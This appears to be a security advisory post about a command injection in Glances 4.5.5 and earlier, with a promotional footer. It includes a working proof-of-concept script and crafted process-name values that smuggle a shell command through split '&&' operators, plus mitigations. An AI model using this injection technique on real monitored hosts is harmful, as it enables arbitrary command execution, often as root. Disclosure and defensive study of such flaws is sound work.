Listen to this Post
The vulnerability in Glances (<=4.5.5) stems from a flaw in the action system where an administrator configures shell commands to run upon threshold alerts. The command uses Mustache templates with variables populated by runtime stats (process name, container name, mount point). A local unprivileged attacker can control these stat fields. The system attempts to sanitize shell operators (&&, |, >>, >) in each variable via `_sanitize_mustache_dict()` before rendering. However, sanitization occurs per field, not on the final rendered command. When an action template concatenates two unescaped variables (e.g., {{{name}}}{{{cmdline}}}) and the attacker crafts the first value to end with `&` and the second to begin with &, Mustache rendering combines them into a literal `&&` operator. This reconstructed `&&` passes through `secure_popen()` and executes the attacker’s injected command as a separate subprocess. The same reconstruction applies to `>` (split as >...>) and |. The standard double-brace `{{ }}` escapes &, but the unescaped form `{{{ }}}` or `{{& }}` is the attack vector. This bypasses the intended fix for CVE-2026-32608, allowing arbitrary command execution as the Glances user (often root) if an admin uses such templates, requiring only local process/container control.
DailyCVE Form:
Platform: Glances
Version: <=4.5.5
Vulnerability: Command Injection
Severity: Critical
date: 2026-08-17
Prediction: 2026-09-01
What Undercode Say:
Analytics:
- Attack complexity: Low
- Privileges required: Low (local user)
- User interaction: None (admin configures template)
- Scope: Unchanged
- Confidentiality impact: High
- Integrity impact: High
- Availability impact: High
Bash Commands & Codes:
Setup
python3.13 -m venv gv
./gv/bin/pip install "glances==4.5.5"
Save as repro.py
cat > repro.py << 'EOF'
import os, sys, time
sys.argv = ['glances']
from glances.actions import GlancesActions
MARK = "/tmp/glances_crossfield_pwned"
NEG = MARK + "_neg"
for f in (MARK, NEG):
try: os.remove(f)
except FileNotFoundError: pass
class Args:
time = 0
ga = GlancesActions(args=Args())
item = {'name': 'evilproc&', 'cmdline': '& touch %s' % MARK,
'pid': 1337, 'cpu_percent': 99.0, 'key': 'pid'}
neg_item = dict(item); neg_item['cmdline'] = '& touch %s' % NEG
ga.status.clear(); ga.start_timer._start = time.time() - 999
ga.run("pl", "CRITICAL", ["logger p={{name}}{{cmdline}}"], repeat=True, mustache_dict=neg_item)
time.sleep(0.3)
print("NEGATIVE CONTROL (escaped {{name}}{{cmdline}}):",
"INJECTED" if os.path.exists(NEG) else "blocked (expected)")
ga.status.clear(); ga.start_timer._start = time.time() - 999
ga.run("pl2", "CRITICAL", ["logger p={{{name}}}{{{cmdline}}}"], repeat=True, mustache_dict=item)
time.sleep(0.5)
print("POSITIVE (unescaped {{{name}}}{{{cmdline}}}):",
"INJECTED - 'touch' executed" if os.path.exists(MARK) else "blocked")
EOF
Run
./gv/bin/python repro.py
Exploit:
Attacker controls stat fields
item = {'name': 'evilproc&', 'cmdline': '& touch /tmp/pwned', 'pid': 1337, 'cpu_percent': 99.0}
Admin template: p={{{name}}}{{{cmdline}}}
Renders to: p=evilproc&& touch /tmp/pwned
secure_popen splits on '&&' and executes ' touch /tmp/pwned'
Protection:
- Upgrade to patched version (when available).
- Avoid unescaped Mustache variables (
{{{ }}}/{{& }}) in action templates. - Use double-brace `{{ }}` which HTML-escapes `&` and prevents reconstruction.
- Apply suggested fix: sanitize the fully rendered command string, not per-field.
- Alternatively, modify `_sanitize_mustache_dict()` to also remove lone
&,|,>.
Impact:
- Arbitrary command execution as the Glances user (often root) on monitored hosts.
- Allows file writes, output piping, and command chaining via reconstructed operators.
- Defeats the existing per-field sanitizer, leading to a complete security bypass.
- Requires only local process/container name control; no network access needed.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
